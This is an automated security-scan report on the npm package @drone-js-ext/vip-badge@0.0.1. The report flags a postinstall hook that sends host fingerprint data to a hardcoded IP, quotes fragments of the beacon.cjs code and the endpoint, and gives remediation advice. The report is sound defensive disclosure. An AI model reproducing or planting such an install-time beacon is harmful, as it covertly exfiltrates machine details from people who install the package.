@drone-js-ext/vip-badge@0.0.1
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe postinstall hook triggers an outbound report containing identifying host and installation details to a fixed external endpoint. This is an unconsented installation beacon and supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall script; importing index.js also calls the beacon.
Impact
The recipient learns the installing machine's hostname, package installation path, working directory, and npm/runtime version.
Mechanism
beacon.cjs builds a metadata payload and sends it in an HTTP POST request to a fixed IP address.
Attack narrative
Installation automatically reports host and package installation metadata to a hardcoded external endpoint. Importing the package also triggers the report. The inspected source shows no consent gate.
AI rationale
The postinstall hook triggers an outbound report containing identifying host and installation details to a fixed external endpoint. This is an unconsented installation beacon and supports blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST request to a hardcoded external IP address.
- The request payload includes the machine hostname, install path, working directory, and npm/runtime version.
- Importing index.js also calls the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cj
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@drone-js-ext/vip-badge";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @drone-js-ext/vip-badge@0.0.1.
See all versions of @drone-js-ext/vip-badge for other recorded verdicts.
- Avoid installing @drone-js-ext/vip-badge@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.